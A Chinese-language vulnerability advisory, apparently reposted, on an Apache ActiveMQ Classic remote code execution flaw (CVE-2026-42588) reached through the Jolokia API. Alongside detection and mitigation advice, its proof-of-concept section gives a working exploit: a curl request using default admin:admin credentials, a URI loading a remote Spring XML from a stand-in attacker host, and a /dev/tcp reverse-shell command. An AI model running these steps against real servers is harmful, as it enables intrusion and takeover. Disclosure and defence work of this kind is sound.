【高危漏洞预警】ApacheActiveMQClassic远程代码执行漏洞CVE-2026-42588

admin 2026-06-04 04:09:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: ApacheActiveMQClassic存在高危远程代码执行漏洞CVE-2026-42588,攻击者可通过JolokiaJMX-HTTP接口利用恶意URI触发SpringXML远程加载执行任意代码。影响5.x系列<5.19.7和6.x系列<6.2.6版本,公网暴露控制台或使用默认凭据的部署风险极高。官方已发布修复版本,建议立即升级或通过修改Jolokia策略、限制网络访问等措施缓解风险。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,应急响应,WEB安全


cover_image

【高危漏洞预警】Apache ActiveMQ Classic远程代码执行漏洞CVE-2026-42588

飓风网络安全

2026年6月2日 21:14 北京

在小说阅读器读本章

去阅读

一、漏洞概述

2026年5月31日,Apache软件基金会发布安全公告,披露了Apache ActiveMQ Classic中的一个高危远程代码执行漏洞(CVE-2026-42588)。该漏洞是此前CVE-2026-34197漏洞的一个变种,通过使用masterslave:// URL前缀绕过了之前的修复措施。

Apache ActiveMQ Classic是一款广泛使用的开源消息中间件,完整实现了JMS(Java Message Service)规范,被全球数百万企业用于构建分布式系统和微服务架构。该漏洞存在于ActiveMQ Classic的Jolokia JMX-HTTP桥接组件中,攻击者只需拥有有效的认证凭据(默认凭据admin:admin在许多环境中仍被使用),即可远程执行任意代码,完全控制受影响的服务器。

二、影响范围 受影响版本

• Apache ActiveMQ Classic 5.x系列:所有版本 < 5.19.7

• Apache ActiveMQ Classic 6.x系列:6.0.0 ≤ 所有版本 < 6.2.6

高危场景

• 公网暴露的ActiveMQ管理控制台(端口8161)

• 使用默认凭据admin:admin的部署

• 未正确配置Jolokia访问策略的环境

• 云服务提供商托管的ActiveMQ实例(如AWS Amazon MQ、阿里云消息队列等)

三、技术分析

漏洞原理

Apache ActiveMQ Classic在Web控制台(端口8161)上暴露了Jolokia JMX-HTTP桥接接口/api/jolokia/,默认的Jolokia访问策略允许对所有ActiveMQ MBeans(org.apache.activemq:*)执行任意操作,包括BrokerService.addNetworkConnector(String)方法。

该方法用于在运行时创建broker-to-broker网络连接。攻击者可以构造一个恶意的masterslave:// URI作为参数传入,该URI会触发VM transport的brokerConfig参数,指向攻击者控制的远程Spring XML配置文件。

当ActiveMQ处理这个恶意URI时,会使用Spring的ResourceXmlApplicationContext加载远程XML文件。关键问题在于,Spring会在BrokerService验证配置之前就实例化所有单例Bean,这使得攻击者可以通过Bean工厂方法(如Runtime.exec())执行任意操作系统命令,从而实现远程代码执行。

攻击链

  1. 攻击者获取ActiveMQ Web控制台的有效凭据(或利用默认凭据)

  2. 通过Jolokia API调用BrokerService.addNetworkConnector方法

  3. 传入恶意URI:masterslave:(vm://localhost?brokerConfig=xbean:http://attacker.com/payload.xml)

  4. ActiveMQ加载攻击者提供的远程Spring XML文件

  5. Spring实例化恶意Bean,执行任意代码

  6. 攻击者获得服务器权限,进行后续攻击

四、利用POC

前提条件

• 目标ActiveMQ实例的Web控制台(端口8161)可访问

• 拥有有效的认证凭据(默认:admin/admin)

• 攻击者可以搭建一个HTTP服务器来托管恶意Spring XML文件

步骤1:创建恶意Spring XML payload

创建一个名为payload.xml的文件,内容如下: <?xml version="1.0" encoding="UTF-8" ?>

/bin/bash -c touch /tmp/CVE-2026-42588_success

将touch /tmp/CVE-2026-42588_success替换为你想要执行的命令,例如反弹shell: bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1 步骤2:启动HTTP服务器托管payload

在攻击者机器上启动一个简单的HTTP服务器: python3 -m http.server 8000 步骤3:执行漏洞利用

使用curl命令调用Jolokia API触发漏洞: curl -X POST http://TARGET_IP:8161/api/jolokia/ \ -H “Content-Type: application/json” \ -u admin:admin \ -d ‘{ “type”: “exec”, “mbean”: “org.apache.activemq:type=Broker,brokerName=localhost”, “operation”: “addNetworkConnector(java.lang.String)”, “arguments”: [ “masterslave:(vm://localhost?brokerConfig=xbean:http://ATTACKER_IP:8000/payload.xml)” ] }’ 注意:

• 将TARGET_IP替换为目标ActiveMQ服务器的IP地址

• 将ATTACKER_IP和ATTACKER_PORT替换为攻击者机器的IP和端口

• 如果目标使用了非默认的brokerName,需要相应修改brokerName=localhost部分

验证利用成功

在目标服务器上检查是否创建了/tmp/CVE-2026-42588_success文件,或者是否收到了反弹shell连接。

五、检测方法

日志检测

在ActiveMQ的日志文件中查找以下特征:

• 包含vm:// URI且带有brokerConfig=xbean:http的网络连接器创建记录

• 异常的Spring XML加载错误信息

• Jolokia API对addNetworkConnector或addConnector方法的调用记录

网络流量检测

• 监控端口8161上的HTTP POST请求到/api/jolokia/端点

• 查找请求体中包含”operation”:”addNetworkConnector”或”operation”:”addConnector”的请求

• 检查参数中是否包含masterslave:(vm://和brokerConfig=xbean:字符串

六、修复建议

官方修复

Apache官方已发布修复版本,强烈建议受影响用户立即升级至以下安全版本:

• Apache ActiveMQ Classic 5.19.7

• Apache ActiveMQ Classic 6.2.6

下载地址:https://activemq.apache.org/download

临时缓解措施 如果无法立即升级,可以采取以下临时缓解措施:

  1. 修改Jolokia访问策略 编辑conf/jolokia-access.xml文件,限制对敏感MBean操作的访问: org.apache.activemq:* * !(addNetworkConnector|addConnector|removeNetworkConnector|removeConnector)

  2. 禁用不必要的网络连接器功能 如果不需要动态添加网络连接器,可以完全禁用该功能。

  3. 限制管理接口访问

◦ 不要将ActiveMQ Web控制台(端口8161)暴露到公网

◦ 配置防火墙规则,仅允许受信任的IP地址访问管理端口

◦ 修改默认凭据admin:admin为强密码

  1. 启用HTTPS 为Web控制台启用HTTPS,防止凭据在传输过程中被窃取。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:飓风网络安全 《【高危漏洞预警】Apache ActiveMQ Classic远程代码执行漏洞CVE-2026-42588》

评论:0   参与:  0